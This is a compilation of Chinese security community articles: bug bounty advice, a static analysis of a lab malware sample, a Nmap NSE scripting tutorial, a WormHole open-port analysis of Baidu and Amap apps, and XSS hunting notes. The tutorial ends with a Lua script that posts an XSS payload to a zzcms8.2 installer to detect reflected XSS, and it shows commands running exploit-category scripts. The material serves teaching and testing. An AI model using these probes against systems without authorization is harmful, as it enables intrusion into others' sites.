集中精力挖一挖那些被其他人忽略厂商。虽然那些厂商不会给你金钱奖励，但是在Bugcrowd会给你积分奖励。这是很好的开端并且也可以向Bugcrowd展示你的能力。当你提交足够多有效的漏洞之后，即使这些漏洞来全部来自于只给积分的厂商，我们也会邀请你去参加私有众测。私有众测是邀请制的，并且会限制参加的人数。私有众测意味着更小的竞争，也会获得更多的漏洞奖励。
# 7\. 持续的学习和交流
就像我之前提过那样，掌握黑客技术是一个长期学习过程。这个领域充满激情！这里总是有新的文章和论文去学习，和兴趣相投的人一起参加会议或者多参加一些线下的沙龙，和他们一起寻找新的机会。
挖漏洞是进入信安行业最好的方式，这也可以成为你的职业。挖漏洞也可以为你带来额外收入，也可以提高你的技能，认识更多的人，甚至可以重塑你的职业。
记住，做事要专业，对人要和善。这虽然是一个小众的社区，但是我们也会关注每一个人，你永远不会知道遇到谁 | 社区文章 |
title: windows样本分析之基础静态分析
date: 2019-09-01 15:35:19
tags: Windows病毒分析
# 目标
1.样本鉴定黑白
2.样本初步行为的判断
3.相关信息收集
# 原理
## 鉴黑白
### 特征码检测
**检测已知病毒** ：通常杀毒软件将分析过的病毒中的特征部分提取成相应特征码（文件特征、字符特征、指令特征等）
### 启发检测
**检测未知病毒** ：检测病毒运行过程中的API调用行为链。
## 初步型为判断
### 特征API
不同种类的病毒样本根据其特性总会调用一些特定的API函数
## 相关信息收集
* 编译时间：可以判断样本的出现的时间
* 文件类型：哪类文件，命令行或者界面或者其他
* 是否有网络行为
* 是否有关联文件
* 壳情况
# 算法流程
根据常用逆向工具来实现上述原理的检测
## 鉴黑白
1. 文件特征检测
* [VirusTotal](https://www.virustotal.com/)检测，可以看到是否已经有厂商对其惊醒了黑白判断(SHA-1搜索即可)
* 文件SHA-1/MD5 Google扫描，看是已有相关检测报告
2. 字符特征检测
* strings/pestdio工具打印字符串。根据一些特征字符串Google搜索，如ip地址、敏感词句、API符号等
3. 加壳/混淆判断
* PEID/DIE工具查看文件是否加壳
* strings判断。如果字符串数量稀少、存在LoadLibray少量API符号，可以对其留意
4. 链接检测
* 运行时链接检测。恶意样本通常采用LoadLibray来运行是链接
## 样本初步行为判断
pestdio查看导入表的API调用和一些字符串信息，来进行判断
## 相关信息收集
收集样本相关信息，如果要详细分析，会用到
1. PEStudio查看文件头的时间戳
2. PEStudio查看文件头的文件类型
3. 查看导入表里的API和String表中的网络特征
4. 查看String表中的文件字符串
5. DIE/PEID查壳情况或者string表和api的一些特征
# 实践过程
样本：Lab01-01.exe
## 鉴黑白
* VT(virusTotal)扫描。
42/70的检出率，可以确认是病毒。后面几个检测就可以放到后面，收集样本信息的地方了
## 样本初步行为判断
从导入表方法中的信息，可以看出，`FindFirstFileA和FindNexFileA`很可能遍历文件，然后又copy文件，一般勒索会有遍历的操作，但是VT扫描后并没有Ransom这样的字段，所以排除勒索的可能
接着在strings表内发现`C:\*和.exe`这类字段，可以合理判断，可能实在c盘遍历exe文件
接着查看字符串表，看见一个明显不是系统dll的Lab01-01.dll文件，但出现一个警示语，毁坏机器的提示，结合前面遍历复制文件，难道是要复制文件占满磁盘、资源之类的恶心行为，因为不清除样本类别，所以大胆猜想
下面这个是被我忽略了的一个细节，两个DLL很像，但仔细看会发现其中一个是kernel132.dll，他将字母换成数字来混淆视线，所以根据上面出现的dll，合理推想是可能是想将这个Lab01-01.dll文件隐藏起来
### 小结
有文件遍历和复制文件的操作，和一个非系统Dll文件，有可能是将这个文件复制到哪里，虽然这里没有看见加载这个dll的操作，但是可以合理怀疑会有其他没发现的行为来调用，并且还对其进行隐藏。
行为暂时分析到这，下面分析这个dll文件和文件操作的相关行为来继续进行分析工作
## 相关信息收集
* 编译时间
2010年，年代久远的老样本
* 文件类型
32位可执行文件
* 导入表和String表
未有网络特征
* string表内字符串
有一句警示语，意思破坏机器行为，但并未发现相关API，或者说根据之前分析，疑似想占满磁盘、资源等无聊行为
* 壳信息
查壳工具未查出相关特征
导入表中函数和字符串表的字符还是挺多的，并未出现LoadLibray等脱壳API，排除加壳行为
# 小结
本exe文件暂时静态分析完毕，后面需要结合dll文件来综合进行下面的分析
# 参考
【1】恶意样本分析实战 | 社区文章 |
### HrPapers|Nmap渗透测试指南
> 红日安全成员 -- yumu
<font color=#FF0000>
Nmap脚本引擎（NSE）</font>革新了Nmap的功能。它是在2007年的谷歌夏令营期间推出，虽然第一个脚本是针对服务和主机检测，时至今天，已经存在有14个类别涵盖广泛的任务，从网络发现到检测和利用安全漏洞。既然我们深知NSE的强大，那我们肯定要好好利用它，那么这篇文章我将引导大家走入NSE脚本的世界，时不我待，赶紧跟我一起行动吧。
### 01.先行体验
root@kali:~# nmap -sV -sC scanme.nmap.org
上一个命令运行带有操作<font color=#00ffff> 系统检测 (-O)</font>的SYN扫描，即<font color=#00ffff>
服务检测（-sV）</font>，最重要的是NSE在（-sC）上。 -sC选项启用NSE并在默认类别中运行任何脚本。
这组脚本被默认为是安全的，它不会执行任何可能会干扰在该服务上运行的服务的目标主机的操作。
但是，某些脚本执行可能引发的操作入侵检测系统（IDS）和入侵防护系统（IPS）中的警报。
### 02.深入了解
#### <font color=#FF0000>脚本分类</font>
首先我们得了解脚本的分类信息，这样我们才能更好地把我们自定义的脚本进行归类利用。
脚本类别 | 描述
---|---
auth | 与用户认证相关的NSE脚本
broadcast | 使用广播收集网络信息
brute | 暴力破解
default | 默认，执行脚本（-sC）
discovery | 与主机和服务发现相关的脚本
dos | 与拒绝服务攻击有关的脚本
exploit | 用于利用安全漏洞的脚本
external | 此类别适用于第三方服务的脚本
fuzzer | NSE脚本专注于模糊测试
intrusive | 入侵脚本
malware | 与恶意软件检测相关的脚本类别
safe | 在所有情况下默认为是安全的脚本
vuln | 与检测和利用安全漏洞相关的脚本
version | 高级系统脚本
#### <font color=#FF0000>NSE脚本选择</font>
Nmap使用<font color=#00ffff> \--script</font>选项进行脚本的选择。
这个选项后面可以是一个脚本名称，NSE类别，NSE文件的路径，包含脚本的文件夹,甚至表达式。使用<font color=#00ffff>
\--script</font>通过脚本名称或类别进行选择脚本。Nmap选项会按名称执行脚本。 执行时用逗号分隔几个脚本：
直接加脚本名称
nmap --script http-title <target>
nmap -p80 --script http-huawei-hg5xx-vuln <target>
nmap --script http-title，http-methods <target>
以下屏幕截图显示了http-huawei-hg5xx-vuln脚本的输出。
此脚本利用华为设备中的远程漏洞进行检索，检索的信息包括PPPoE凭证和无线网络安全配置：
要选择整个类别，只需使用类别的名称（请参阅脚本作为参数。 例如，要运行漏洞类别，
使用以下命令：
nmap --script exploit <target>
您也可以用逗号分隔它们来运行多个类别：
nmap --script discovery,intrusive <target>
-sC选项仅仅是--script默认选项的别名。
按文件名或文件夹选择
要执行NSE脚本文件，请使用以下命令：
nmap --script /path/to/script.nse <target>
与类别类似，可以通过分离路径来执行多个脚本
用逗号分隔：
nmap --script /path/to/script.nse,/another/path/script2.nse <target>
要执行文件夹中包含的所有脚本，只需要传递文件夹名称
举个栗子：
nmap --script/path/to/folder/ <target>
nmap --script /custom-nse-scripts/ scanme.nmap.org
#### <font color=#FF0000>高级脚本选择与表达式</font>
表达式用于描述一组脚本。
我们可以利用脚本选择表达式的场景：
•举个栗子:（未利用表达式将匹配任何脚本）
使用不属于exploit类别的脚本：
#nmap -sV --script "not exploit" <target>
•或和运算符允许我们构造更复杂的表达式。
以下表达式将匹配不在intrusive,或者dos,或者exploit类别中的任何脚本。
#nmap --script "not（intrusive or dos or exploit）" -sV <target>
•如果我们想要执行broadcast和discovery中的所有类别脚本。
我们使用：
#nmap --script "broadcast and discovery" < target>
•甚至可以使用通配符*：
#nmap --script "snmp- *" <target>
•当然，我们可以结合使用通配符和表达式。例如:
让我们运行名称以http-开头的所有脚本，但排除
http-slowloris，http-brute，http-form-fuzzer和http-enum脚本：
#nmap --script "http-* and not(http-slowloris or http-brute or
http-enum or http-form-fuzzer)" <target>
下一个命令将执行以http开头的但不在exploit类别中的所有脚本：
#nmap --script“http- * not（exploit）”<target>
#### <font color=#FF0000>NSE脚本参数</font>
**\--script-args** 选项用于在NSE脚本中设置参数。
还是举个栗子，设置http-title脚本的参数useragent，
使用这个表达式：
> nmap -sV --script http-title --script-args http.useragent =“Mozilla
> 1337“<target></target>
当然有时你也可以在忽略脚本名称设置参数(以下两条表达意思是一致的)：
> nmap -p80 --script http-trace --script-args path <target></target>
>
> nmap -p80 --script http-trace --script-args http-trace.path
> <target></target>
**如果你使用共享参数名称的脚本，就必须避免参数冲突。**
例如下面中的uri参数，公用的时候要是需要进行额外的设置时就必须加上完整的脚本名称，避免参数之间的冲突。
$ nmap --script http-majordomo2-dir-traversal，http-axis2-dir-traversal
--script-args http-axis2-dir-traversal.uri = /axis2/，uri =/majordomo/ <target>
$ nmap --script http-majordomo2-dir-traversal，http-axis2-dir-traversal
--script-args uri = /axis2/，http-majordomo2-dir-traversal.uri = /majordomo/ <target>
* * *
### 03.万事具备
#### <font color=#FF0000>语言准备</font>
编写NSE脚本我们需要有lua编程语言的基础，可以回去自己学习一下。我这里简单列出编写脚本之前必须了解的一些语法。其他的就自己回去学习吧。转载于菜鸟教程：<http://www.runoob.com/lua/lua-tutorial.html>
#### Lua 特性
* **轻量级** : 它用标准C语言编写并以源代码形式开放，编译后仅仅一百余K，可以很方便的嵌入别的程序里。
* **可扩展** : Lua提供了非常易于使用的扩展接口和机制：由宿主语言(通常是C或C++)提供这些功能，Lua可以使用它们，就像是本来就内置的功能一样。
* 其它特性
* 支持面向过程(procedure-oriented)编程和函数式编程(functional programming)；
* 自动内存管理；只提供了一种通用类型的表（table），用它可以实现数组，哈希表，集合，对象；
* 语言内置模式匹配；闭包(closure)；函数也可以看做一个值；提供多线程（协同进程，并非操作系统所支持的线程）支持；
* 通过闭包和table可以很方便地支持面向对象编程所需要的一些关键机制，比如数据抽象，虚函数，继承和重载等
-- 单行注释
--[[
多行注释
多行注释
--]]
标示符
Lua 标示符用于定义一个变量，函数获取其他用户定义的项。标示符以一个字母 A 到 Z 或 a 到 z 或下划线 _ 开头后加上0个或多个字母，下划线，数字（0到9）。
最好不要使用下划线加大写字母的标示符，因为Lua的保留字也是这样的。
Lua 不允许使用特殊字符如 @, $, 和 % 来定义标示符。 Lua 是一个区分大小写的编程语言。因此在 Lua 中 Runoob 与 runoob 是两个不同的标示符。以下列出了一些正确的标示符：
mohd zara abc move_name a_123
myname50 _temp j a23b9 retVal
关键词
以下列出了 Lua 的保留关键字。保留关键字不能作为常量或变量或其他用户自定义标示符：
and break do else
elseif end false for
function if in local
nil not or repeat
return then true until
while
一般约定，以下划线开头连接一串大写字母的名字（比如 _VERSION）被保留用于 Lua 内部全局变量
Lua 数据类型
Lua是动态类型语言，变量不要类型定义,只需要为变量赋值。 值可以存储在变量中，作为参数传递或结果返回。
Lua中有8个基本类型分别为：nil、boolean、number、string、userdata、function、thread和table。
数据类型 描述
nil 这个最简单，只有值nil属于该类，表示一个无效值（在条件表达式中相当于false）。
boolean 包含两个值：false和true。
number 表示双精度类型的实浮点数
string 字符串由一对双引号或单引号来表示
function 由 C 或 Lua 编写的函数
userdata 表示任意存储在变量中的C数据结构
thread 表示执行的独立线路，用于执行协同程序
table Lua 中的表（table）其实是一个"关联数组"（associative arrays），数组的索引可以是数字或者是字符串。在 Lua 里，table 的创建是通过"构造表达式"来完成，最简单构造表达式是{}，用来创建一个空表。
nil（空）
nil 类型表示一种没有任何有效值，它只有一个值 -- nil，例如打印一个没有赋值的变量，便会输出一个 nil 值：
Lua 变量
变量在使用前，必须在代码中进行声明，即创建该变量。
编译程序执行代码之前编译器需要知道如何给语句变量开辟存储区，用于存储变量的值。
Lua 变量有三种类型：全局变量、局部变量、表中的域。
Lua 中的变量全是全局变量，那怕是语句块或是函数里，除非用 local 显式声明为局部变量。
局部变量的作用域为从声明位置开始到所在语句块结束。
变量的默认值均为 nil。
-- test.lua 文件脚本
a = 5 -- 全局变量
local b = 5 -- 局部变量
function joke()
c = 5 -- 全局变量
local d = 6 -- 局部变量
end
joke()
print(c,d) --> 5 nil
do
local a = 6 -- 局部变量
b = 6 -- 全局变量
print(a,b); --> 6 6
end
print(a,b) --> 5 6
执行以上实例输出结果为：
$ lua test.lua
5 nil
6 6
5 6
* * *
#### <font color=#FF0000>了解NSE脚本的编写规则</font>
##### Nmap的目录结构
我们只需要简单的了解一下它的结构即可，了解它的目录结构是为了清楚Nse脚本存放的位置。这里有几个注意点：
> 1.编写的脚本的后缀为nse
>
> 2.编写之后的NSE脚本存放在script文件夹内，这样脚本才可以生效
>
> 3.必须使用--script选项进行调用Nse脚本
##### NSE脚本的编写流程
在书写NSE脚本之前我们必须了解它的书写步骤，为了方便大家理解，我把一个NSE脚本的书写分为了四步。
> 1.导入脚本编写所需库
>
> 2.编写脚本描述信息
>
> 3.确定Rule类型
>
> 4.编写Action
可能此时你还有点蒙，没关系，我们看一下图思路就清晰了。
Namp nse 脚本模板结构如图所示：
文章看到这里大家肯定想接下来肯定要开始编写NSE脚本了吧。还不行呢，我们先举个几个栗子来说说四个Rule类型的区别。
##### Rule的四种类型
Rule：用于描述脚本的触发规则，返回值只有true和false两种。返回值决定了后面action对应的函数是否执行，注意：true(执行),flase(不执行)。它有四种类型分别是Prerule，Hostrule,Portrule,Postrule。
下面的几个栗子的环境为：
1.Window
2.phpstudy
3.nmap-7.6
4.zzcms8.2（对应zzcms.im）
**基础参数扩展**
host | table类型
---|---
host.os | 操作系统信息
host.ip | tagret(目标主机)对应的ip,例如下面的127.0.0.1
host.name | tagert在命令行对应的名字，例如下面的zzcms.im
host.targetname | 同上host.name，我个人是这样认为的
host.directly_connected | 判断目标主机是否与本机在同一个子网
host.mac_addr | mac地址 （必须是同一子网的设备这个命令才有效）
**port** | **table类型**
port.number | 端口号
port.protocol | 协议
port.service | 服务 http或https
port.version | 版本信息
port.state | 端口状态
**Prerule**
**Prerule会在Namp没有扫描之前进行触发。**
举个栗子：我们新建一个prerule.nse文件，然后我们把它存放在script文件夹下。只要"RongRi AnQuan NSE script
Prerule test"打印在Namp扫描之前，就可以证明Prerule会在Namp没有扫描之前进行触发。
-- prerule.nse
description = [[Prerule test ]]
--- -- @usage
-- nmap --script prerule <target>
-- @output
-- -- Version 0.1
-- Created 21/3/2018 - v0.1 - created by yumu <http://www.sec-redclub.com/>
---
author = "HongRi yumu"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"default","safe"}
prerule = function(host,port)
return true
end
action = function(host, port)
return "RongRi AnQuan NSE script Prerule test"
end
* * *
我们都知道在 **测试阶段** 我们难免会出现错误,那假设我们出现了 **错误**
我们应该如何解决呢。这时我们需要借助Nmap的调试模式进行调试。还是老规矩举个栗子：
**那我这里新建一个preruleDebug.nse文件让它打印系统信息故意让其出错（至于为啥会出错后面会解释），然后调试一下给大家看。我们只需要加上-d选项即可进入调试模式，那一般我这边是-d 3,3代表的是等级，等级越高，越详细。-d 3打印的调试的信息已经足够详细了，所以我习惯选择-d 3.**
-- preruleDebug.nse
description = [[prerule test]]
--- --@usage
-- nmap --script preruleDebug -p 80 <target>
-- @output
-- Pre-scan script results:
-- |_prerule: HongRi AnQuan test prerule
-- Version 0.1
-- Created 21/3/2018 - v0.1 - created by yumu <http://www.sec-redclub.com/>
---
author = "HongRi yumu"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"default","safe"}
prerule = function(host,port)
return true
end
action = function(host, port)
return host.os
end
错误界面如图所示：
调试模式如图所示:
我们从图中可以看到出错原因是因为 **prerule threw an error!** 看到详细原因是因为 **attempt to index a
nil value (local 'host')** 意思是说host是个无效值。原因是：
**我们知道prerule是在Nmap扫描之前触发脚本的。那也就是说我们是无法在action中打印出操作系统信息。**
好了，到这里大家也应该知道如何调试错误了。
* * *
**听说，对比产生美**
我们都知道对比产生美，那我们在这个错误的模板上改一下规则让它变成hostrule，看看结果如何。
**Hostrule**
**Hostrule会在Namp执行主机发现或探测进行触发。**
举个栗子：新建一个hostrule.nse文件。复制上面preruleDebug.nse的代码，但是做一点改动，就是Rule的类型改为Hostrule。然后运行能否打印我们想要的系统信息(嘻嘻，结果当然是成功打印啦)。
-- hostrule.nse
description = [[hostrule test]]
--- --@usage
-- nmap -O --script hostrule <target>
-- @output
-- Host script results:
-- | hostrule:
-- |
-- | name: Microsoft Windows 7 or 8.1 R1
-- | classes:
-- |
-- | cpe:
-- | cpe:/o:microsoft:windows_7
-- | osgen: 7
-- | vendor: Microsoft
-- | osfamily: Windows
-- | type: general purpose
-- |
-- | cpe:
-- | cpe:/o:microsoft:windows_8.1:r1
-- | osgen: 8.1
-- | vendor: Microsoft
-- | osfamily: Windows
-- |_ type: general purpose
-- Version 0.1
-- Created 21/3/2018 - v0.1 - created by yumu <http://www.sec-redclub.com/>
---
author = "HongRi yumu"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"default","safe"}
hostrule = function(host,port)
return true
end
action = function(host, port)
return host.os
end
**Portrule**
**Portrule会在Namp执行端口扫描时触发脚本。**
举个栗子：新建portrule.nse文件，代码如下，然后我们扫描几个端口然后看看是否在扫描端口的时候打印出“Hongri Anquan
yumu”和host.ip。
-- portrule.nse
local stdnse = require "stdnse"
local table = require "table"
-- stdnse 标准输出库
-- table table库
description = [[portrule test]]
--- -- @usage
-- nmap -p 80,443,3306 --script portrule -p 80 <target>
-- @output
-- 80/tcp open http
-- | portrule:
-- | 127.0.0.1
-- |_ From: Hongri Anquan yumu
-- Version 0.1
-- Created 21/3/2018 - v0.1 - created by yumu <http://www.sec-redclub.com/>
---
author = "HongRi yumu"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"default","safe"}
portrule = function(host,port)
return port.protocol == "tcp" and port.state == "open"
end
-- -- 判断目标端口运行的协议是否为tcp协议并且端口是否开放状态
-- 当返回true时，执行action函数，反之不执行
--
function action(host,port)
local table_input = {}
local user = "Hongri Anquan yumu"
table.insert(table_input,host.ip)
table.insert(table_input,string.format("From: %s", user))
return stdnse.format_output(true, table_input)
-- 输出“Hongri Anquan yumu”和host.ip信息
-- stdnse.format_output: Formatted output looks better
end
结果如下：
* * *
**再举一个栗子：小试牛刀，我们写一个Nse脚本来获取zzcms8.2网站上的客服电话号码。**
**参数知识扩展**
http | 库
---|---
get() | 发起get请求，请求结果以一个table的形式返回
host | 要请求的主机
path | 要检索的路径
options | 可选，允许调用者控制socket,请求头的table
port | 要检索的端口
|
post() | 发起post请求，请求结果以一个table的形式返回
ignored | 向后兼用，一般填写nil，忽略即可
postdata | post数据，字符串或者table格式
host | 要请求的主机
path | 要检索的路径
options | 可选，允许调用者控制socket,请求头,超时时间的table
port | 要检索的端口
**注意小细节**
-- 1.方法解释
-- string.match(str, pattern, init)
-- string.match()只寻找源字串str中的第一个配对. 参数init可选, 指定搜寻过程的起点, 默认为1。
-- 在成功配对时, 函数将返回配对表达式中的所有捕获结果; 如果没有设置捕获标记, 则返回整个配对字符串. 当没有---- 成功的配对时, 返回nil。
-- 2.乱码问题解决方法
-- 打印的response.body（响应体）在cmder可能会显示乱码。解决方法如下：
-- cmd命令行窗口字符编码切换为UTF-8，命令行中执行：chcp 65001
-- portrulenumber.nse
local stdnse = require "stdnse"
local table = require "table"
local shortport = require "shortport"
local http = require "http"
local string = require "string"
description = [[Get the phone number of the customer service]]
--- --@usage
-- nmap --script portrulenumber -p 80 <target>
-- @output
-- PORT STATE SERVICE
-- 80/tcp open http
-- |_portrulenumber: consumer hotline:0371-86137281
-- Version 0.1
-- Created 21/3/2018 - v0.1 - created by yumu <http://www.sec-redclub.com/>
---
author = "HongRi yumu"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"default","safe"}
portrule = shortport.http
function action(host,port)
local telephone_number,baseurl
baseurl = "/"
response = http.get(host,port,baseurl)
telephone_number = string.match(response.body,"%d+-%d+")
if telephone_number ~= nil
then
return "consumer hotline:"..telephone_number
else
return "Hongri Auquan"
end
end
* * *
#### Postrule
**Portrule会在Namp结束时触发脚本，通常用于扫描结果的数据提取和整理。**
举个栗子： 触发时候打印"Hongri Anquan test postrule"
-- postrule.nse
description = [[postrule test]]
--- --@usage
-- nmap --script postrule <target>
-- @output
-- Pre-scan script results:
-- |_prerule: HongRi AnQuan test prerule
-- -- Version 0.1
-- Created 21/3/2018 - v0.1 - created by yumu <http://www.sec-redclub.com/>
-- ---
author = "HongRi yumu"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"default","safe"}
postrule = function(host,port)
return true
end
action = function(host, port)
return "Hongri Anquan test postrule"
end
* * *
#### 初出茅庐，实战编写脚本探测zzcms8.2 反射型XSS
需要详细zzcms8.2代码审计的内容请到：<https://bbs.ichunqiu.com/thread-36147-1-1.html>
那我这里本地搭建了环境，然后我先简单使用火狐测试一下是否存在反射型xss。废话不说，打字累人，看操作。
嗯，只要玩过web渗透的都应该知道此时源码当中肯定插入了 **<
script>alert(1)</script>**,这点必须清楚，因为这是我们后面编写Nse脚本思路。
好。我们来看看图，确定编写思路。
看完四步的你应该很清晰如何编写我们的脚本了，那就开干吧。我这里新建一个zzcmsxss.nse,代码如下：
local http = require "http"
local shortport = require "shortport"
local string = require "string"
local stdnse = require "stdnse"
local table = require "table"
description = [[Detecting the presence of reflective xss in zzcms8.2]]
--- -- @usage
-- nmap --script zzcmsxss -p 80 <target>
-- nmap --script zzcmsxss -p 80 --script-args zzcmsxss.url-path='/website' <target>
-- @output
-- PORT STATE SERVICE
-- 80/tcp open http
-- | zzcmsxss:
-- |_ Final Results: Reflective xss exists
-- -- @xmloutput
-- <ports>
-- <port protocol="tcp" portid="80"><state state="open" reason="syn-ack" reason_ttl="128"/>
-- <service name="http" method="table" conf="3"/>
-- <script id="zzcmsxss" output="
 Final Results: Reflective xss exists
"/>
-- </port>
-- </ports>
-- -- Version 0.1
-- Created 21/3/2018 - v0.1 - created by yumu <http://www.sec-redclub.com/>
---
author = "HongRi yumu"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"default","safe","discovery","version"}
portrule = function(host,port)
return port.protocol == "tcp" and port.state == "open"
end
local FLAG = "alert"
action = function(host, port)
print("port.numner is : ",port.number)
print("port status is : ",port.state)
local table_input = {}
local xss_exit = "Reflective xss exists"
local xss_not_exit = "Reflective xss does not exist"
local basepath = stdnse.get_script_args(SCRIPT_NAME .. ".url-path") or '/install/index.php'
local options={headers = {
["Accept"]="text/html,application/xhtml+xm…plication/xml;q=0.9,*/*;q=0.8",
["Accept-Language"]="zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
["Accept-Encoding"]="gzip, deflate",
["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; W…) Gecko/20100101 Firefox/58.0",
["Host"] = host.name,
["Referer"]="http://".. host.name .."/install/index.php",
["Content-Type"]="application/x-www-form-urlencoded",
["Connection"]="Keep-alive",
["Content-length"]=76,
["Upgrade-Insecure-Requests"]=1,
} }
local postdata = {
["admin"]="admin",
["adminpwdtrue"]="admin<script>alert(1)</script>",
["step"]=6
}
local response= http.post(host,port,basepath,options,nil,postdata) -- 发送post请求
if response.status and response.body
then
if response.status == 200 and string.find(response.body,FLAG) ~= nil -- 如果写入alert字段，说明漏洞存在
then
table.insert(table_input,string.format("Final Results: %s",xss_exit))
return stdnse.format_output(true, table_input)
else
table.insert(table_input,string.format("Final Results: %s",xss_not_exit))
return stdnse.format_output(true, table_input)
end
end
end
结果如下（保存有xml的输出格式）： | 社区文章 |
参考链接：
[https://www.chinacycc.com/forum.php?mod=viewthread&tid=3100&highlight=%D1%E9%D6%A4%C2%EB](https://www.chinacycc.com/forum.php?mod=viewthread&tid=3100&highlight=%D1%E9%D6%A4%C2%EB)
<https://www.jianshu.com/p/bc51fc289183>
讲解：
关于二维码的漏洞，DOS与URL跳转均验证可行。
其他处放大图片DOS浏览器加载的情况只遇见过一次，并没有达到想象的效果，只是内存比平常多了两倍。存在限制达不到想要的效果。
思路三，利用内部员工这种办公网与生产网通的情况下，利用他手机发起一次ssrf攻击。（因为想的时候可能觉得安全意思培训可能对很多什么链接不能点这种有提醒，但二维码可能涉及比较少~），还有就是手机扫码打路由器的这种~但都比较鸡肋，感觉~ | 社区文章 |
# WormHole分析第二弹
|
##### 译文声明
本文是翻译文章，文章来源：wooyun
原文地址：<http://drops.wooyun.org/papers/10180>
译文仅供参考，具体内容表达以及含义原文为准。
**0x00 背景**
最近WormHole这个洞炒的比较火,今天看了几篇漏洞分析文章,都很详尽,笔者在这里再补充一些发现。
笔者在10月初就发现了百度地图的这个漏洞,并报给了BSRC得到确认,但与瘦蛟舞,蒸米等研究人员出发点不同,笔者并没有从SDK的角度出发去发掘出更多的使用moplus这个库的app,而是从功能性的角度出发,以地图类应用作为切入点,尝试去发现一些问题。虽说没有发现那么多存在漏洞的app,但好在也有一些发现。
**0x01 百度地图**
Wormhole的漏洞报告出来后,很多圈内人士针对“后门还是漏洞”的问题产生了激烈的讨论,微博、知乎上各种声音。
一个事物的出现必然有他的原因,一个应用为什么要在手机上开放一个端口呢?百度地图为什么在修复漏洞依然还开着40310这个端口?可见这个端口存在自然有其存在道理,于是开始进一步分析。
用Chrome模拟手机(Nexus
5)访问www.baidu.com,在请求包里明显看到有访问http://127.0.0.1:40310/getsearchboxinfo?xxxxxxx的数据包,心中一惊,这不就是wormhole的一个利用么?
难道百度开放一个端口就是为了能在web网页里访问一下?一次偶然的发现,访问搜狗网址导航也出现了http://127.0.0.1:40310/getcuid?xxxxxxx之类的数据包,看来除了百度还有其他的地方在“利用这个漏洞”。
几番试验,笔者又在模拟手机在其他几个网站发现了同样现象,莫非这些网站都知道这个漏洞?几番研究后,最终锁定了源头——百度统计。
百度统计的脚本是hm.js,而hm.js加载了一个html: http://boscdn.bpc.baidu.com/v1/holmes-moplus/mp-cdn.html
这个html又加载了一个js:http://static1.searchbox.baidu.com/static/searchbox/openjs/mp.js
就是这个js中一段代码发出了对本地端口的请求,查看代码不难发现,该脚本对6259和40310这两个端口都发出了请求,这也正好印证了wormhole漏洞为啥固定开辟了这两个端口。
综上,不难发现百度开放6259和40310是为了百度统计服务的,但目前发现的情况也只是getcuid、getsearchboxinfo之类一些简单的信息,至于为什么在这个接口上实现获取所有安装包信息、写通讯录、任意上传下载文件等就不得而知了。但毋庸置疑,想要利用这些接口只需在百度统计脚本里加几行代码就可以了,只是现在未发现利用的证据。所以,至于是漏洞还是后门,笔者不作评价。
**0x02 高德地图**
仔细看上边百度的分析,不难得出结论,一个应用开放一个端口,本质上是为了web页面和app本身达到某种交互。既然百度地图有问题,那么其他地图类应用呢?
笔者先前看到乌云上有一个关于高德地图的漏洞[http://wooyun.org/bugs/wooyun-2015-0114241](http://wooyun.org/bugs/wooyun-2015-0114241),原理和百度这个漏洞类似,也是开放了一个6677端口,那么高德是怎么修复这个洞的呢?
研究发现高德采用验证http_referer的方法,对比之前的漏洞发现高德把http_referer白名单由java层放到了native层
在验证http_referer时,高德竟然用了contains()这个函数去遍历,简直暴力啊
由此可见高德的修复并不彻底,一是contains()很容易被逻辑绕过,二是http_referer很容易伪造,当然高德地图的最新版本又做了一些改动,但不管怎么样修复,高德还是保留着6677这个端口。
这不禁令人生疑,究竟这个端口有什么用?在高德未修复漏洞时,笔者开发了一个exp,发现这个漏洞可以得到用户的位置信息。
我们仍然用Chrome模拟手机进行测试,访问http://amap.com,发现了对本地6677端口的请求,其目的是为了获取用户的地理位置信息。
**0x03 思考**
1. Wormhole究竟该如何定义?
显然出现这种类型漏洞的不仅仅是百度系app,也不止是moplus这个SDK,笔者认为wormhole应重新定义为那些因开放端口导致的漏洞。
另外,目前列出的一些wormhole影响列表只是用了简单的静态扫描去匹配moplus的特征,事实上部分app仅仅是包含了这个库但没有实现,需要动态运行验证。
2. 怎样做到安全的开放端口?
验证http_referer、remote-addr等显然不可靠
端口随机?如何保证web页能确切访问?(facebook安卓版)
SSLSocket?
3. Web页面和app之间有必要通信么?
开放端口不同于传统的client-server结构,传统的server端是透明的,但app上实现的server容易被逆向出关键逻辑,最终通信机制还是会被破解。
Web页用一个token去访问app,app拿这个token进行服务器验证,然后再判断是否把敏感数据返回给web页?
4. 如何批量的检测这种开放端口的漏洞?
静态检测ServerSocket等API? 部分app只是包含了一些API,但是没有到该部分代码的执行路径。
动态检测?部分app在特定情况下才会开放端口,如豌豆荚在插入USB后才会开放端口。
Wormhole之后还有很多地方值得我们挖掘和研究,微博:m4bln,欢迎交流探讨! | 社区文章 |
### TL;DR
你们好，
XSS（Cross Site Scripting）攻击实际上是我们在漏洞发掘过程中最常见的错误之一。然而不常见的是我们很少报告它。大多数Bug
Bounty应用通过特定POC来对最坏情况影响进行证明以便评估问题的严重性。
例如，电子商务网站不会考虑CSRF漏洞，因为这可能会导致项目被添加到受害者购物车中，与CSRF漏洞同等严重的是，这可能会迫使用户更改其电子邮件或删除帐户。
同样，如果有人能够提取其餐馆的公共电话号码和电子邮件地址并报告给相关企业，Zomato等公司可能不会将其视为信息披露。 在盲目地将XSS
payload注入表单字段之前，我们需要全面的了解我们的目标。并问自己“这是如何工作的？”除此之外，开发人员在处理这些漏洞的时候一些措施会帮助到我们。
我的朋友Yash和我在合作时遇到了类似的情况。特别是当这个程序的范围很小，所以在我们接受邀请之前已经有很多黑客正在研究它。
所有黑客都获得了相同的工作流，这意味着所有黑客都可以看到那些试图创建的`xss/`模板注入。 这是yash推特的内容：
说实话，该应用一开始看起来几乎不可能得到任何注入攻击，因为应用程序是安全的。 它在前端使用了Angular，所以注入的可能性很行。
默认情况下，Angular将所有用户的输入信任为不安全。所以说了解应用程序非常重要，我发现Web应用程序试图保护其资源的策略页面。
